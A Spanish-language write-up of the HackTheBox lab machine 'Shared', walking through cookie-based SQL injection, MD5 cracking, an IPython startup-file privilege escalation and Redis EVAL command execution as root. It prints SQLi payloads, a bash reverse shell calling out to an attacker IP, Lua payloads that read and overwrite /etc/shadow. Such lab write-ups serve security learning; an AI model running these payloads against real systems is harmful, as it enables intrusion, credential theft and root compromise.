HackTheBox - Shared


Creado
HackTheBox - Shared

Máquina Linux nivel medio. SQLi content-based, grupos juguetones que nos permitirán interactuar con IPython (command injection) y Redis (EVAL) (remote command execution).

TL;DR (Spanish writeup)

Creada por: Nauten.

Únete a mi grupo.

Un sitio web celebrando y anunciando cositas, esas cositas nos ayudarán a encontrar una inyección SQL basada en contenido, la cual usaremos para extraer unas credenciales e ingresar al sistema como el usuario james_mason.

Dentro tendremos un grupo algo curioso, jugando con esto y con los procesos internos del sistema encontraremos que el programa IPython está toqueteando el entorno, apoyados en esto jugaremos con un CVE bien lindo para hacer que otros usuarios ejecuten scripts de Python que no son de ellos :P Así con convertiremos en el usuario dan_smith.

Finalmente, también tendremos un grupo llamativo, ese grupo nos permitirá interactuar con un binario que a su vez interactúa con el servicio Redis (que está siendo ejecutado por el usuario root) y sé auténtica, jugando con distintas herramientas veremos la contraseña con la que se genera la autenticación, usaremos a full la función EVAL de redis para lograr una ejecución remota de comandos (:

Clasificación de la máquina según la gentesita

Llevada a la realidad con algunos CVEs.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

Pt. 1

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento lateral: ipython.
  5. Escalada de privilegios.

Reconocimiento #

Inicialmente, veremos que servicios (puertos) están abiertos y a los cuales tengamos acceso, para ello emplearé nmap:

nmap -p- --open -v 10.10.11.172 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Vemos los siguientes servicios abiertos:

Puerto Descripción
22 SSH: Podemos obtener una terminal de manera segura.
80 HTTP: Contamos con un servidor web.
443 HTTPS: Servidor web con un certificado que da “seguridad”.

Perfecto! Ahora lo que haremos será apoyarnos de nuevo de nmap para que nos intente listar la versión del software alojado yyyy además que con sus scripts (pequeñas pruebas propias) pruebe a encontrar cositas interesantes:

+ ~ +(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

❯ extractPorts ../nmap/initScan 
[*] Extracting information ...

[*] IP Address: 10.10.11.172
[*] Ports: 22,80,443

[*] Ports copied to clipboard

)+ ~ +

nmap -p 22,80,443 -sCV 10.10.11.172 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Yyy:

Tenemos algunas cositas relevantes:

Puerto Servicio Versión
80 HTTP nginx 1.18.0
  • Está intentando hacer un redirect al dominio http://shared.htb, así que lo agregamos de una al archivo /etc/hosts (que básicamente permite que el servidor web entienda que una petición hacia una dirección IP debe tomar el contenido alojado en un (sub)dominio asociado y viceversa).

Por ahora no vemos nada más, así que profundicemos y compartamos.

Enumeración #

Agregamos el dominio al objeto /etc/hosts:

❯ cat /etc/hosts
...
10.10.11.172    shared.htb
...

Investiguemos.

Recorremos el puerto 443 📌

Nos encontramos con que efectivamente se realiza el redireccionamiento al dominio y además también nos pasa al puerto 443, o sea a https, finalmente llegamos a:

https://shared.htb/index.php

Al parecer es una tienda de ropa, en su interfaz vemos dos anuncios:

  • Cuentan que tuvieron una hora de servicios OFF, esto a causa de tener mucha información almacenada en el servidor.
  • Tienen un nuevo proceso de compra que permitirá pagar más fácil las cositas.

Pues bien, son dos temas interesantes, pero antes de quemarnos en ideas vamos a recorrer la web…

Al final del sitio vemos:

El sitio web ha sido creado por el software PrestaShop (CMS para la gestión y creación de tiendas online), aún no tenemos una versión específica, peeero algo es algo, con esto ya podemos buscar vulnerabilidades que relacionen a PrestaShop, pero ninguna toma relevancia aún.

Si realizamos un fuzzeito (para descubrir archivos/carpetas alojadas por el servidor web) vemos varios a los que no tenemos acceso, pero hay uno que nos filtra la versión exacta instalada de PrestaShop:

ffuf -c -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt -u https://shared.htb/FUZZ -fs 153,0
...
INSTALL.txt             [Status: 200, Size: 5047, Words: 1525, Lines: 92, Duration: 203ms]
...

Y al ver su contenido en https://shared.htb/INSTALL.txt tenemos la versión:

Así que ya podemos hacer más pequeña nuestra búsqueda de vulnerabilidades… Solo que después de probar algunos exploits no logramos nada interesante, por lo que debemos seguir enumerando.

Retomando los anuncios iniciales, procedemos a probar cositas al pagar un ítem, así que tomamos cualquier producto, damos clic sobre él, hacemos clic sobre ADD TO CART y finalmente sobre PROCEED TO CKECKOUT, para encontrarnos con un subdominio: https://checkout.shared.htb/, así que lo agregamos al objeto /etc/hosts y ya tendríamos como resultado:

Notamos dos campos de texto, pero que por default no envían ninguna petición, así que no son usados para nada…

Revisando las cookies observamos algo llamativo (quédate con el nombre del producto que ves en la imagen de arriba):

Que si le quitamos el URL-Encode nos devuelve:

{"YCS98E4A":"1"}

La cookie contiene el nombre del producto (que más bien parece un ID) y la cantidad a comprar. Esto nos da unas ideitas algo traviesas, ¿y si está tomando ese ID para consultar su existencia en la base de datos y que el producto sea válido? o incluso pueda que esté tomando la cantidad y este haciendo alguna consulta para validar si existe esa cantidad de productos. Pues como hay que probar de todo y pues tiene sentido lo que decimos, probemos si existe una inyección SQL.

Explotación #

Una inyección SQL simplemente aprovecha consultas realizadas a bases de datos para ejecutar consultas maliciosas y así extraer información a la cual no deberiamos tener acceso.


Podemos imaginar que la petición hacia la base de datos viaja así:

SELECT * FROM products WHERE productId="YCS98E4A";

Esa podría ser la petición, peeeero si ya nos ponemos creativos e intentamos testear si está bien sanitizado, haríamos algo tal que:

SELECT * FROM products WHERE productId="YCS98E4A' AND 1=1#";
SELECT * FROM products WHERE productId="YCS98E4A' AND 2=1#";

Con esto buscamos cambios en la respuesta, errores, letras, cambios en el tamaño, etc. En caso de verlo podríamos confirmar una inyección basada en contenido o basada en errores. Esto se logra con simple lógica, al ejecutar 1=1 la consulta será verdadera, ya que existe el producto y 1 es igual a 1, en el otro caso la consulta encontrara el producto peeero fallará cuando válida que 1 no es igual a 2. Ahí solo nos queda estar atentos a la respuesta y notar cositas que nos hagan dudar y posiblemente confirmar el SQLi, a darle.

El simbolo # indica comentario, peeero tambien en caso de que funcione nos indicara que el gestor de base de datos es MySQL (en caso de que no, solo es probar y probar distintos gestores y payloads).

Podemos apoyarnos ya sea de BurpSuite o de extensiones para modificar la cookie manualmente, usaré una extensión llamada Cookie-Manager:

Este será el contenido de la cookie modificado:

{"YCS98E4A' AND 1=1#":"1"}

Y en la respuesta vemos:

Lo acordado, todo igual y normalito, peeero esto no nos dice nada aún, pueda que incluso sea una inyección SQL ciega (sin output) o que no exista ninguna inyección, probemos el otro payload:

{"YCS98E4A' AND 2=1#":"1"}

Y vemos:

OJOOOOOOOOOOO, ojito! La respuesta ha cambiado, pero no nos confiemos, hagamos una validación más profunda con algo sencillo (pero único):

SELECT * FROM products WHERE productId="YCS98E4A' AND IF(SUBSTRING('hola',1,1)='a', TRUE, FALSE) AND 1=1#";
SELECT * FROM products WHERE productId="YCS98E4A' AND IF(SUBSTRING('hola',1,1)='h', TRUE, FALSE) AND 1=1#";
{"YCS98E4A' AND IF(SUBSTRING('hola',1,1)='a', TRUE, FALSE) AND 1=1#":"1"}
{"YCS98E4A' AND IF(SUBSTRING('hola',1,1)='h', TRUE, FALSE) AND 1=1#":"1"}

Lo que hará es testear si la primera letra de la palabra es la h o la a, ya sabemos que buscamos :P

Ojo…

AÑAÑAIIII! Tenemos una inyección SQL basada en contenido! Aprovechemos esto para crear un script que nos vaya extrayendo datos de la(s) base(s) de datos existentes (:

SQLi content-based 📌

Este es el script:

cookieCartInjection.py

Nos apoyaremos de estos recursos para generar los payloads:

Ahora sí, veamos que bases de datos existen:

❱ python3 cookieCartInjection.py -q
...
[+] Base de datos [0]: checkout

Bien, enfoquémonos en checkout (que de las no habituales es la única), ya que tiene que ver con nosotros, veamos sus tablas:

❱ python3 cookieCartInjection.py -q checkout
...
[+] Tabla [0]: user
[+] Tabla [1]: product

Me gusta, leamos las columnas de la tabla user:

❱ python3 cookieCartInjection.py -q checkout user
...
[+] Columna [0]: id
[+] Columna [1]: username
[+] Columna [2]: password

Extraigamos el contenido tanto de username como de password:

❱ python3 cookieCartInjection.py -q checkout user username
...
[+] username [0]: james_mason
❱ python3 cookieCartInjection.py -q checkout user password
...
[+] password [0]: fc895d4eddc2fc12f995e18c865cf273

Solo existe un usuario llamado james_mason con su respectiva contraseña, esa contraseña está en formato hash (encriptada), pues intentemos romper ese hash o mejor dicho crackearlo, usaremos john y hashcat para que vean sus usos:

Lo primero es tomar ese hash y guardarlo en un archivo, lo llamaré james_mason.hash, lo siguiente es identificar que tipo de hash es, en mi caso usaré hash-identifier:

❱ hash-identifier
...
 HASH: fc895d4eddc2fc12f995e18c865cf273

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))   

Least Possible Hashs:
...

Al parecer es MD5, que es un algoritmo de criptografía ya roto :P Comprobémoslo.

🎩 John The Ripper…

john -w:/usr/share/wordlists/rockyou.txt --format=Raw-MD5 james_mason.hash

🐈‍ Hashcat…

hashcat -m 0 -a 0 james_mason.hash /usr/share/wordlists/rockyou.txt -o james_mason.hash_output

Las dos nos dan la misma contraseña en texto plano, así que tamos finos!

Intentando reutilizar sus credenciales contra el servicio SSH (quizás a James le dio pereza asignarse otra o tiene mala memoria como para usar distintas) logramos obtener una terminal 🤗

ipython : james_mason -> dan_smith #

Sí nos fijamos en los grupos asignados al usuario james_mason:

james_mason@shared:~$ id
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)

El grupo developer es llamativo, juguemos con find a ver qué objetos (si es que los hay) están asignados a ese grupo en el sistema:

find / -group developer 2>/dev/null

Nos muestra únicamente al objeto /opt/scripts_review:

james_mason@shared:~$ ls -la /opt/
total 12
drwxr-xr-x  3 root root      4096 Jul 14 13:46 .
drwxr-xr-x 18 root root      4096 Jul 14 13:46 ..
drwxrwx---  2 root developer 4096 Jul 14 13:46 scripts_review

A esa carpeta los usuarios asignados al grupo tienen permisos de escritura, lectura y ejecución, así que interesante… Quizás debamos escribir algo dentro (ya que la carpeta está vacía), pero no sabemos aún que pueda ser, sigamos enumerando.

Apoyados en la herramienta pspy podemos intentar ver procesos internos, tareas programadas, y demás cositas que se estén ejecutando en el sistema fuera de nuestra vista (claramente habrá cosas que no se mostraran), descargamos el programa desde el repositorio oficial (yo descargué pspy64s) y lo subimos a la máquina víctima (si no sabes es una búsqueda simple con Google :P) para finalmente ejecutarlo:

# Creamos entorno de trabajo para no molestar a los demás :D
james_mason@shared:~$ cd /tmp/
james_mason@shared:/tmp$ mkdir test
james_mason@shared:/tmp$ cd test/
james_mason@shared:/tmp/test$
james_mason@shared:/tmp/test$ chmod +x pspy
james_mason@shared:/tmp/test$ ./pspy

Y solo nos queda abrir bien los ojos y esperar posibles scripts ejecutados automáticamente por el sistema o incluso imaginarnos algún usuario en otra máquina ejecutando cositas, hay que pensar de todo y buscar de todo…

Después de un rato notamos que cada minuto se está ejecutando una tarea:

Hay varias cosas importantes acá:

El UID (User ID) número 1001 (aún no sabemos quién es, ya miramos) está ejecutando tres comandos en línea:

/usr/bin/pkill ipython
cd /opt/scripts_review/ && /usr/local/bin/ipython

Primero elimina/termina todos los procesos relacionados a la aplicación IPython (Shell interactivo con más cositas que el modo interactivo que ya posee Python). Luego entra en la carpeta que ya vimos y a la que le tenemos permisos totales. Finalmente, ejecuta el binario /usr/local/bin/ipython (tengamos en cuenta que lo ejecuta estando en la carpeta /opt/scripts_review/ lo cual es muuuuy llamativo, así que veamos quien es 1001:

james_mason@shared:/tmp/test$ id -nu 1001
dan_smith

El usuario que está ejecutando los comandos de arriba es dan_smith, así que si logramos de alguna manera explotar cositas las ejecutará él.

Si ejecutamos ipython vemos su versión:

IPython 8.0.0

Buscando info en internet con esa versión a ver si existen vulnerabilidades llegamos a este advisory:

En esta explicación sobre los IPython Startup Files se puede entender fácilmente la vulnerabilidad.

La idea es que te imagines como una persona que usa mucho IPython y tiene líneas de código que escribe todos los días (o sea, que las repite), esto te hace pensar “¿y si las automatizo?”, acá entran en juego los IPython Startup Files, ya que efectivamente nos hacen la vida más fácil almacenando en la ruta /profile_default/startup todos los scripts (.py o .ipy) que queremos ejecutar.

La cosita peligrosa llega cuando nos damos cuenta de que si alguien tiene acceso a la ruta donde tenemos guardados los archivos (/profile_default/startup) y peor, si tiene acceso de escritura cuando nosotros ejecutemos tranquilamente nuestro ipython también habremos ejecutado lo que sea que esa otra persona haya almacenado en la carpeta :O Por lo que esa otra persona podría llegar a convertirse en nosotrooooos!

Y de eso se trata la vuln, a convertirnos en dan_smith 😇

Lo único necesario es crear las carpetas, agregar lo que queremos que sea ejecutado y listos, cuando Dan inicie ipython sobre /opt/scripts_review entrara a las carpetas, tomara el script y lo ejecutará (:

Automatizumba 📌

Creamos carpetas con permisos totales:

mkdir -m 777 /opt/scripts_review/profile_default && mkdir -m 777 /opt/scripts_review/profile_default/startup

Y ahora debemos indicarle que nos ejecute el programa hola.py:

echo 'import os; os.system("/tmp/test/jujui.sh")' > /opt/scripts_review/profile_default/startup/hola.py

El contenido de hola.py será ejecutar el script /tmp/test/jujui.sh, esto por simple comodidad de modificar libremente cositas, el contenido de jujui.sh contiene una reverse shell:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.90/4433 0>&1

Así que cuando lo ejecute enviará al puerto 4433 de la IP 10.10.14.90 una bash (: Le damos permisos totales sobre el archivo a cualquiera, así evitamos que Dan no pueda leerlo (y ejecutarlo):

chmod 777 /tmp/test/jujui.sh

Solo nos falta levantar el puerto 4433 para recibir la conexión:

nc -lvp 4433

Y listooooooos! Estamos preparados para nuestro ataque (la máquina borra después de ejecutar el IPython todo el contenido de /opt/scripts_review/, así que hay que ser rápidos o simplemente ejecutar las líneas empezando cada minuto):

mkdir -m 777 /opt/scripts_review/profile_default && mkdir -m 777 /opt/scripts_review/profile_default/startup
echo 'import os; os.system("/tmp/test/jujui.sh")' > /opt/scripts_review/profile_default/startup/hola.py

Esperamos el minuto yyyy:

PAILA

PAIL

PAI

PA

P

Mentiris:

SOMOS DAN!! 🎇

Antes de seguir volvamos nuestra terminal funcional, ya que si ejecutamos CTRL^C la perderemos, no tenemos histórico de comandos y no podemos movernos entre ellos.

Tambien podemos robarnos la llave privada SSH de dan_smith para usarla como contraseña para obtener infinidad de terminales mediante SSH. Te dejo de tarea investigar como funciona esto :P

Ahora si, a explorar y escalar más privilegios…

Escalada de privilegios #

Entre los grupos asignados a dan_smith vemos uno curiosito:

dan_smith@shared:/opt/scripts_review$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)

El grupo sysadmin está raro, busquemos ahora con él archivos y cositas en el sistema:

dan_smith@shared:/opt/scripts_review$ find / -group sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev

Jmmm, un binario relacionado a redis:

Redis “significa Remote Dictionary Server, es un rápido almacén de datos (base de datos) clave-valor en memoria.” ~ Amazon.

Si lo ejecutamos vemos:

Es una parte del comando INFO, pero si abrimos bien los ojos hay cosas importantes:

[+] Logging to redis instance using password...
...
redis_version:6.0.15
...

La primera línea es llamativa a full, la segunda nos puede hacer pensar en buscar vulnerabilidades para esa versión, así que vayamos por pasos.

Lo que indica es claro, para interactuar con redis al parecer necesitamos estar autenticados y el programa en su lógica se está autenticando, por lo queeeeee????? Exacto, podríamos mirar si encontramos esas credenciales o la lógica para autenticarse. Primero probaremos ejecutándolo (análisis dinámico) y si no llegamos a nada, nos ponemos a decompilarlo y mirar cositas a bajo nivel (análisis estático).

Una autenticación se ejecuta así:

dan_smith@shared:~$ redis-cli 
127.0.0.1:6379> auth hola
(error) WRONGPASS invalid username-password pair

Donde hola es la contraseña, en caso de que quisieramos pasar usuario y contraseña seria: auth USER PASS.

Pues copiémonos el archivo a nuestro sistema y empecemos a jugar.

Usando strings notamos muuuuuuchas cosas, filtrando tampoco cortamos distancia.

strings redis_connector_dev | grep auth

Así que aprovechemos el uso de ltrace y strace (que en este caso no es para buscar problemas de lógica) para intentar identificar que llamados y procesos hace con el sistema, así mismo (acá si) abrir bieeen los ojos y buscar algo relacionado con auth:

strace and ltrace provide a flood of information about system and library calls being made by Linux processes, and sorting through it all can help discover the cause of problems.” ~ NetworkWorld.

Si nos fijamos bien está la cadena auth seguido de lo que parece una cadena en base64 (o simplemente la contraseña), pero probando con ella no logramos autenticación alguna, por lo que quizás esté errónea o incompleta, así que ahora filtremos de nuevo por texto, peeero ahora con el inicio de esa posible contraseña:

strings redis_connector_dev | grep F2WHqJUz2WEz=

Nos aparece más contenido seguido de lo que ya teníamos, pues como prueba podemos empezar a borrar de a letras y ver si alguna es finalmente la contraseña válida contra redis… Esa prueba nos lleva aaaaaa:

OBTENEMOS EL DICHOSO OK y tenemos la contraseña para entrar (por fin :P).

«Después de perder el tiempo buscando cositas en la base de datos» nos preguntamos (y al listar procesos es algo a tener en cuenta):

¿Quien esta ejecutando redis-server?

Nos sorprendemos al ver que redis está siendo ejecutado por el usuario root :O

dan_smith@shared:~$ ps auxwww
...
root       59836  0.6  0.7  65104 14664 ?        Ssl  12:42   0:00 /usr/bin/redis-server 127.0.0.1:6379
...

Esto quiere decir que si logramos alguna explotación y ejecutar código, lo ejecutaría el usuario root (:

Pues busquemos maneras de explotar Redis

Probando algunos de los pasos de la biblia: HackTricks, llegamos a un apartado juguetón:

  • LUA Sandbox Bypass (que no necesariamente nos enfocaremos en el bypass, sino en el cómo usa EVAL para ejecutar comandos en el sistema).

Entonces, la explotación de la que se aprovecha es simplemente el uso de la función EVAL para ejecutar mediante librerías distintas operaciones que permiten interactuar directamente con el sistema y lanzar comandos.

Nos reseñan este repositorio:

De ahí obtendremos la cadena con la que haremos pruebas:

'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ACA_VA_LO_QUE_QUERAMOS_EJECUTAR", "r"); local res = f:read("*a"); f:close(); return res'

La sintaxis correcta para ejecutar el eval seria:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ACA_VA_LO_QUE_QUERAMOS_EJECUTAR", "r"); local res = f:read("*a"); f:close(); return res' 0

Si por ejemplo intentamos ejecutar el comando id vemos esto:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

OJOOOOOOOOO! Tenemos ejecución remota de comandos y efectivamente somos el usuario root (:

Obteniendo Shell como root 📌

Acá ya terminamos la máquina, pero si quieres obtener una terminal completica, quédate ;)

Intentando obtener una reverse shell no logramos nada (o la obtenemos y nos saca al poco tiempo), así que usaremos una técnica bien guapetona para ingresar al sistema como el usuario root, cambiaremos su contraseña (tan tan tan TAAAN).

Para ello modificaremos el objeto /etc/shadow (archivo que contiene las contraseñas hasheadas de los usuarios), son pasos sencillos:

  • Obtenemos el contenido del archivo:

    Ejecutamos algo tan simple como:

    cat /etc/shadow | base64 -w 0 
    

    Esto para obtener el contenido en base64 sin saltos de línea, veamos:

    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /etc/shadow | base64 -w 0", "r"); local res = f:read("*a"); f:close(); return res' 0
    

    Y en nuestra máquina:

    echo cm9...Ogo= | base64 -d  > shadow_file
    

    Ya tendríamos el archivo pa jugar:

  • Creamos una nueva contraseña para el usuario root.

    Lo que necesitamos saber ahora es que tipo de algoritmo está usando el sistema para las contraseñas, para así mismo crear nuestro hash (contraseña). Buscando algo como $y$ hash llegamos a este hilo:

    Y entre los comentarios vemos:

    So it turns out that it is a yescrypt hash and isn't supported by hashcat for cracking yet
    

    El algoritmo se llama yescrypt, podemos jugar con mkpasswd para crear una contraseña con ese cifrado, pero por cambiar vamos a usar una imagen de Docker la cual hace lo mismo:

    docker run --rm -it ulikoehler/mkpasswd
    

    Nos pregunta que queremos cifrar, colocamos como contraseña dosisdericura, finalmente tenemos este hash:

    ❯ docker run --rm -it ulikoehler/mkpasswd
    Password: 
    $y$j9T$SgowYS.jH5YSZej5wcD3e/$5pZr8B4vMcVpbyiAqtVSD3PVsoSPRR2yzobyPI06gh7
    

    Entonces, entramos al objeto shadow, cambiamos lo que está entre root:...:19186:0:99999:7::: por el nuevo hash:

  • Reemplazamos el original /etc/shadow con el nuevo (:

    Nos llevamos el archivo en base64:

    base64 -w 0 shadow_file
    

    Y jugamos con redis:

    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo cm9...Ogo= | base64 -d > /etc/shadow", "r"); local res = f:read("*a"); f:close(); return res' 0
    

    Entonces decodeara la cadena y guardará su contenido en la ruta /etc/shadow, lo ejecutamos yyyyyyy si intentamos su con la contraseña dosisdericura:

Y LISTO! Ahora si tenemos una Shell persistente 🙋‍♂️ y nos vamos felices :P Veamos las flags…

Una máquina bien llevada, queriendo ser real, me gusta.

En general fue muy chévere esta máquina, bien divertida, el tema de IPython y redis me encantó, lindo eso.

Y bueno, nos leeremos después con más cositas peligrosas, a seguir rompiendo de todo!!!!!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus